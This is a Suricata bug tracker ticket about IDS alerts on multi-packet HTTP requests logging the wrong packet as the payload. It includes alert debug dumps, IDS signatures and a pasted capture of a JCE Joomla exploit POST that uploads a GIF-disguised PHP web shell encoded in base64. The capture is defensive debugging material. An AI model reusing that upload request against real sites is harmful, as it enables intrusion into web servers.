Bug #810
closedAlerts on http traffic storing the wrong packet as the IDS event payload
Description
At multiple sites I am running Suricata 1.4.1 on 64 bit Ubuntu 12.04 and CentOS 6 with PF_RING, and I am frequently running into this problem.
It appears that when an HTTP request spanning multiple packets (like an HTTP POST with the POST data spilling over into a second packet), triggers an IDS alert, that frequently the wrong packet gets stuffed into the payload field of the unified2 file for that event, such that looking at the stored event I cannot find the substring that the firing rule was looking for.
For example, I just has this rule fire at two different sites running Suricata (versions 1.4 and 1.4.1).
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET CURRENT_EVENTS JCE Joomla Scanner"; flow:established,to_server; content:"User-Agent|3a| BOT/0.1 (BOT for JCE)"; http_header; classtype:web-application-attack; sid:2016032; rev:1;)In both cases an HTTP POST spread across two packets is involved. The substring matched by the rule is in the 1st packet, but only the second packet is recorded as the payload.
When a multi-packet HTTP request is made, I'd personally like to see the whole thing merged together into a single data payload to be inserted into the NIDS event. Or if that isn't reasonable, at least stash the same packet that actually matched the rule.
T 95.173.183.22:2472 -> 172.21.1.143:80 [A]
POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1.
Host: www.scriptsource.org.
User-Agent: BOT/0.1 (BOT for JCE).
Content-Type: multipart/form-data; boundary=---------------------------41184676334.
Accept-Language: en-us,en;q=0.5.
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7.
Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none).
Connection: Close.
Proxy-Connection: close.
Content-Length: 1337.
.
.
.
-----------------------------41184676334.
Content-Disposition: form-data; name="upload-dir".
.
/.
-----------------------------41184676334.
Content-Disposition: form-data; name="Filedata"; filename="".
Content-Type: application/octet-stream.
.
.
-----------------------------41184676334.
Content-Disposition: form-data; name="upload-overwrite".
.
0.
-----------------------------41184676334.
Content-Disposition: form-data; name="Filedata"; filename="mua.gif".
Content-Type: image/gif.
.
GIF89a1
<?php eval("?>".base64_decode("PGh0bWw+IENvZGVkIEJ5IE11YSAmIEtlcmVzdGVjaTxicj4NCjw/IA0KLyogQ29kZWQgQnkgTXVhICYgS2VyZXN0ZWNpICovDQplY2hvICc
T 95.173.183.22:2472 - > 172.21.1.143:80 [AP]
8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7DQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+dXN0YSB1cGxvYWQgYmFzYXJpbGk8L2I+PGJyPjxicj4nOyB9DQp9DQo/PjwvaHRtbD4=")); ?>. -----------------------------41184676334. 0day. -----------------------------41184676334. Content-Disposition: form-data; name="action". . upload. -----------------------------41184676334--. . . .
Files
Updated by Peter Manev over 11 years ago
Hi,
If you enable alert-debug.log (and try to mirror the situation) - what packet data would be written in it for that alert? Would it be the same situation?
thanks
Updated by Kevin Branch over 11 years ago
Yes, I just confirmed that alert-debug.log shows the same wrong payload as is stored in the unified2 record.
This rule fired today
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ETPRO TROJAN Win32/TrojanDownloader.Agent.RGT Checkin"; flow:to_server,established; content:"POST"; http_method; content:"Content-Length|3a| 77|0d 0a|"; http_header; content:"User-Agent|3a| Microsoft-ATL-Native/8.00|0d 0a|"; http_header; content:"|4d 00 00 00|"; fast_pattern; depth:4; http_client_body; reference:md5,f97c11537bc144288d34c272a6cb8c2e; classtype:trojan-activity; sid:2805574; rev:1;)
and the stored payload was only this one line which does not contain the User-Agent string referenced by the rule:
M...2f.~....c03c0b37d9511aed1b22394b9278a968B...B...........;..Q.........X...
Here is the alert-debug.log entry
ALERT CNT: 1 ALERT MSG [00]: ETPRO TROJAN Win32/TrojanDownloader.Agent.RGT Checkin ALERT GID [00]: 1 ALERT SID [00]: 2805574 ALERT REV [00]: 1 ALERT CLASS [00]: A Network Trojan was detected ALERT PRIO [00]: 1 ALERT FOUND IN [00]: STATE STREAM DATA LEN: 77 STREAM DATA: 0000 4D 00 00 00 32 66 D9 7E 01 00 01 00 63 30 33 63 M...2f.~ ....c03c 0010 30 62 33 37 64 39 35 31 31 61 65 64 31 62 32 32 0b37d951 1aed1b22 0020 33 39 34 62 39 32 37 38 61 39 36 38 42 00 00 00 394b9278 a968B... 0030 42 00 A5 12 07 00 E5 05 C9 CF 2E 0C 3B 90 8E 51 B....... ....;..Q 0040 00 00 00 00 01 00 00 00 CE 58 00 00 01 ........ .X...
Following the general pattern I repeatedly have seen, the strings referenced by the rule would be found in a neighboring packet in the same tcp connection which for some reason Suricata did not incorporate into the flow.
Updated by Peter Manev over 11 years ago
I agree - you should see the packet with the payload that the rule inspects - in the alert logs, not some other packet part of the stream.
Just to confirm - you observe this only when the http request is spanning multiple packets, correct?
Thanks
Updated by Victor Julien over 11 years ago
Kevin, I think you're not supposed to make ETPRO rules public.
Wrt the issue. Generally HTTP rules match on the reconstructed state, not the individual packets. In IDS mode the state is reconstructed based on ACK'd TCP data, which means that by definition the packet containing the data is already gone. We try to log out anything still in the stream engine's memory, but it's not always there anymore.
Updated by Kevin Branch over 11 years ago
Sorry about posting an intact ETPRO rule like that. Will try to avoid that in the future. I'm pretty sure I am only seeing this issue on http requests spanning multiple packets, often just 2 packets. If the stream engine is losing the 1st packet in two-packet http request streams, could the engine be tuned or fixed to retain more? Could there be an issue in htp? Or do I just need to do some kind of tuning in the suricata.conf file related to memory handling?
Updated by Victor Julien over 11 years ago
- Target version deleted (
1.4.1)
Can you share a pcap (privately if you want)?
Updated by Kevin Branch over 11 years ago
I should be able to come up with a pcap within the next day or two. If it looks like it should go to you privately, should I use your inliniac.net address?
Updated by Victor Julien over 11 years ago
Kevin Branch wrote:
I should be able to come up with a pcap within the next day or two. If it looks like it should go to you privately, should I use your inliniac.net address?
Yup, that address is fine. Thanks.
Updated by Kevin Branch over 11 years ago
Victor,
I emailed you the pcap of this classic example of bug 810 that just popped up today. Packets number 4 and 5 comprise a two-packet http GET request. Content in packet 4 triggers rule 2016919, but only the payload of packet 5 gets inserted into the event.
Also, here is the matching debug output for the event. In the debug, I see that the content titled "PAYLOAD:" consists of the combined payloads of packets 4 and 5, but that "STREAM DATA:" contains only the payload from packet 5. That little scrap from packet 5 is all I get in the event as it is written to the unified2 file that gets read by barnyard for loading into a database.
+================ TIME: 06/11/2013-08:37:10.963617 SRC IP: 172.18.4.137 DST IP: 198.15.96.135 PROTO: 6 SRC PORT: 2133 DST PORT: 80 TCP SEQ: 3806404040 TCP ACK: 3081486161 FLOW: to_server: TRUE, to_client: FALSE FLOW Start TS: 06/11/2013-08:37:10.829164 FLOW IPONLY SET: TOSERVER: TRUE, TOCLIENT: TRUE FLOW ACTION: DROP: FALSE, PASS FALSE FLOW NOINSPECTION: PACKET: FALSE, PAYLOAD: FALSE, APP_LAYER: FALSE FLOW APP_LAYER: DETECTED: TRUE, PROTO 1 PACKET LEN: 750 PACKET: 0000 00 10 DB FF 20 00 00 23 AE 8C 7E 5A 08 00 45 00 .... ..# ..~Z..E. 0010 02 E0 99 1B 40 00 80 06 87 CA AC 12 04 89 C6 0F ....@... ........ 0020 60 87 08 55 00 50 E2 E1 1D C8 B7 AB BF 51 50 18 `..U.P.. .....QP. 0030 FD B9 3F D2 00 00 47 45 54 20 2F 73 65 61 72 63 ..?...GE T /searc 0040 68 2E 70 68 70 3F 75 73 65 72 6E 61 6D 65 3D 69 h.php?us ername=i 0050 6E 64 65 78 26 71 75 65 72 79 3D 52 65 70 6C 61 ndex&que ry=Repla 0060 63 65 6D 65 6E 74 25 32 30 57 69 6E 64 6F 77 20 cement%2 0Window 0070 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 HTTP/1.1 ..Accept 0080 3A 20 69 6D 61 67 65 2F 67 69 66 2C 20 69 6D 61 : image/ gif, ima 0090 67 65 2F 6A 70 65 67 2C 20 69 6D 61 67 65 2F 70 ge/jpeg, image/p 00A0 6A 70 65 67 2C 20 69 6D 61 67 65 2F 70 6A 70 65 jpeg, im age/pjpe 00B0 67 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 g, appli cation/x 00C0 2D 73 68 6F 63 6B 77 61 76 65 2D 66 6C 61 73 68 -shockwa ve-flash 00D0 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D , applic ation/x- 00E0 6D 73 2D 61 70 70 6C 69 63 61 74 69 6F 6E 2C 20 ms-appli cation, 00F0 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 6D 73 applicat ion/x-ms 0100 2D 78 62 61 70 2C 20 61 70 70 6C 69 63 61 74 69 -xbap, a pplicati 0110 6F 6E 2F 76 6E 64 2E 6D 73 2D 78 70 73 64 6F 63 on/vnd.m s-xpsdoc 0120 75 6D 65 6E 74 2C 20 61 70 70 6C 69 63 61 74 69 ument, a pplicati 0130 6F 6E 2F 78 61 6D 6C 2B 78 6D 6C 2C 20 61 70 70 on/xaml+ xml, app 0140 6C 69 63 61 74 69 6F 6E 2F 76 6E 64 2E 6D 73 2D lication /vnd.ms- 0150 65 78 63 65 6C 2C 20 61 70 70 6C 69 63 61 74 69 excel, a pplicati 0160 6F 6E 2F 76 6E 64 2E 6D 73 2D 70 6F 77 65 72 70 on/vnd.m s-powerp 0170 6F 69 6E 74 2C 20 61 70 70 6C 69 63 61 74 69 6F oint, ap plicatio 0180 6E 2F 6D 73 77 6F 72 64 2C 20 2A 2F 2A 0D 0A 52 n/msword , */*..R 0190 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F 61 eferer: http://a 01A0 6C 6F 69 65 6F 61 2E 63 6F 6D 2F 38 67 63 66 37 loieoa.c om/8gcf7 01B0 34 34 57 61 78 6F 6C 70 37 35 32 2E 70 68 70 0D 44Waxolp 752.php. 01C0 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 .Accept- Language 01D0 3A 20 65 6E 2D 75 73 0D 0A 55 73 65 72 2D 41 67 : en-us. .User-Ag 01E0 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 ent: Moz illa/4.0 01F0 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 (compat ible; MS 0200 49 45 20 38 2E 30 3B 20 57 69 6E 64 6F 77 73 20 IE 8.0; Windows 0210 4E 54 20 35 2E 31 3B 20 54 72 69 64 65 6E 74 2F NT 5.1; Trident/ 0220 34 2E 30 3B 20 47 54 42 37 2E 34 3B 20 2E 4E 45 4.0; GTB 7.4; .NE 0230 54 20 43 4C 52 20 32 2E 30 2E 35 30 37 32 37 3B T CLR 2. 0.50727; 0240 20 2E 4E 45 54 20 43 4C 52 20 33 2E 30 2E 34 35 .NET CL R 3.0.45 0250 30 36 2E 32 31 35 32 3B 20 2E 4E 45 54 20 43 4C 06.2152; .NET CL 0260 52 20 33 2E 35 2E 33 30 37 32 39 3B 20 2E 4E 45 R 3.5.30 729; .NE 0270 54 20 43 4C 52 20 31 2E 31 2E 34 33 32 32 3B 20 T CLR 1. 1.4322; 0280 2E 4E 45 54 34 2E 30 43 3B 20 2E 4E 45 54 34 2E .NET4.0C ; .NET4. 0290 30 45 3B 20 49 6E 66 6F 50 61 74 68 2E 33 29 0D 0E; Info Path.3). 02A0 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 .Accept- Encoding 02B0 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D : gzip, deflate. 02C0 0A 48 6F 73 74 3A 20 61 6C 6F 69 65 6F 61 2E 63 .Host: a loieoa.c 02D0 6F 6D 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 om..Conn ection: 02E0 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A Keep-Ali ve.... ALERT CNT: 1 ALERT MSG [00]: ET CURRENT_EVENTS Malicious Redirect URL ALERT GID [00]: 1 ALERT SID [00]: 2016919 ALERT REV [00]: 8 ALERT CLASS [00]: A Network Trojan was detected ALERT PRIO [00]: 1 ALERT FOUND IN [00]: STATE PAYLOAD LEN: 696 PAYLOAD: 0000 47 45 54 20 2F 73 65 61 72 63 68 2E 70 68 70 3F GET /sea rch.php? 0010 75 73 65 72 6E 61 6D 65 3D 69 6E 64 65 78 26 71 username =index&q 0020 75 65 72 79 3D 52 65 70 6C 61 63 65 6D 65 6E 74 uery=Rep lacement 0030 25 32 30 57 69 6E 64 6F 77 20 48 54 54 50 2F 31 %20Windo w HTTP/1 0040 2E 31 0D 0A 41 63 63 65 70 74 3A 20 69 6D 61 67 .1..Acce pt: imag 0050 65 2F 67 69 66 2C 20 69 6D 61 67 65 2F 6A 70 65 e/gif, i mage/jpe 0060 67 2C 20 69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 g, image /pjpeg, 0070 69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 61 70 70 image/pj peg, app 0080 6C 69 63 61 74 69 6F 6E 2F 78 2D 73 68 6F 63 6B lication /x-shock 0090 77 61 76 65 2D 66 6C 61 73 68 2C 20 61 70 70 6C wave-fla sh, appl 00A0 69 63 61 74 69 6F 6E 2F 78 2D 6D 73 2D 61 70 70 ication/ x-ms-app 00B0 6C 69 63 61 74 69 6F 6E 2C 20 61 70 70 6C 69 63 lication , applic 00C0 61 74 69 6F 6E 2F 78 2D 6D 73 2D 78 62 61 70 2C ation/x- ms-xbap, 00D0 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E 64 applica tion/vnd 00E0 2E 6D 73 2D 78 70 73 64 6F 63 75 6D 65 6E 74 2C .ms-xpsd ocument, 00F0 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 61 6D applica tion/xam 0100 6C 2B 78 6D 6C 2C 20 61 70 70 6C 69 63 61 74 69 l+xml, a pplicati 0110 6F 6E 2F 76 6E 64 2E 6D 73 2D 65 78 63 65 6C 2C on/vnd.m s-excel, 0120 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E 64 applica tion/vnd 0130 2E 6D 73 2D 70 6F 77 65 72 70 6F 69 6E 74 2C 20 .ms-powe rpoint, 0140 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6D 73 77 6F applicat ion/mswo 0150 72 64 2C 20 2A 2F 2A 0D 0A 52 65 66 65 72 65 72 rd, */*. .Referer 0160 3A 20 68 74 74 70 3A 2F 2F 61 6C 6F 69 65 6F 61 : http:/ /aloieoa 0170 2E 63 6F 6D 2F 38 67 63 66 37 34 34 57 61 78 6F .com/8gc f744Waxo 0180 6C 70 37 35 32 2E 70 68 70 0D 0A 41 63 63 65 70 lp752.ph p..Accep 0190 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 75 t-Langua ge: en-u 01A0 73 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D s..User- Agent: M 01B0 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 ozilla/4 .0 (comp 01C0 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 38 2E 30 atible; MSIE 8.0 01D0 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35 2E 31 ; Window s NT 5.1 01E0 3B 20 54 72 69 64 65 6E 74 2F 34 2E 30 3B 20 47 ; Triden t/4.0; G 01F0 54 42 37 2E 34 3B 20 2E 4E 45 54 20 43 4C 52 20 TB7.4; . NET CLR 0200 32 2E 30 2E 35 30 37 32 37 3B 20 2E 4E 45 54 20 2.0.5072 7; .NET 0210 43 4C 52 20 33 2E 30 2E 34 35 30 36 2E 32 31 35 CLR 3.0. 4506.215 0220 32 3B 20 2E 4E 45 54 20 43 4C 52 20 33 2E 35 2E 2; .NET CLR 3.5. 0230 33 30 37 32 39 3B 20 2E 4E 45 54 20 43 4C 52 20 30729; . NET CLR 0240 31 2E 31 2E 34 33 32 32 3B 20 2E 4E 45 54 34 2E 1.1.4322 ; .NET4. 0250 30 43 3B 20 2E 4E 45 54 34 2E 30 45 3B 20 49 6E 0C; .NET 4.0E; In 0260 66 6F 50 61 74 68 2E 33 29 0D 0A 41 63 63 65 70 foPath.3 )..Accep 0270 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 t-Encodi ng: gzip 0280 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 74 3A , deflat e..Host: 0290 20 61 6C 6F 69 65 6F 61 2E 63 6F 6D 0D 0A 43 6F aloieoa .com..Co 02A0 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 nnection : Keep-A 02B0 6C 69 76 65 0D 0A 0D 0A live.... STREAM DATA LEN: 5 STREAM DATA: 0000 65 0D 0A 0D 0A e.... +================
Kevin
Updated by Kevin Branch over 11 years ago
- File exe-as-text.cap exe-as-text.cap added
- File text dump.txt text dump.txt added
- File alert debug.txt alert debug.txt added
After upgrading from 1.4.1 to 1.4.3 I am still seeing this problem recur.
In a case today, the rule that fired was 2008438 - "ET MALWARE Possible Windows executable sent when remote host claims to send a Text File"
The payload put into the alert event record was from the packet directly following the packet that contained the triggering content.
Attached is a text dump of the http conversation, a pcap of the conversation, and the Suricata alert debug data about the event.
Can anyone reproduce this? I'm not doing anything particularly exotic in my Suricata setup other than using PF_RING.
Thanks,
Kevin
Updated by Victor Julien over 11 years ago
- Status changed from New to Assigned
- Assignee set to Victor Julien
- Target version set to 2.0beta2
Updated by Victor Julien about 11 years ago
- Status changed from Assigned to Closed
- % Done changed from 0 to 100
This has been addressed in the following commit:
commit 88a21456e324f589575c4bccfaa63dee0e3b301a
Author: Victor Julien <victor@inliniac.net>
Date: Sun May 20 17:17:57 2012 +0200
stream: keep segments in memory until we are sure the stream/state is inspected.
I haven't been able to reproduce the issue since, so closing this ticket. If encounter the issue in our 2.x branch, please reopen.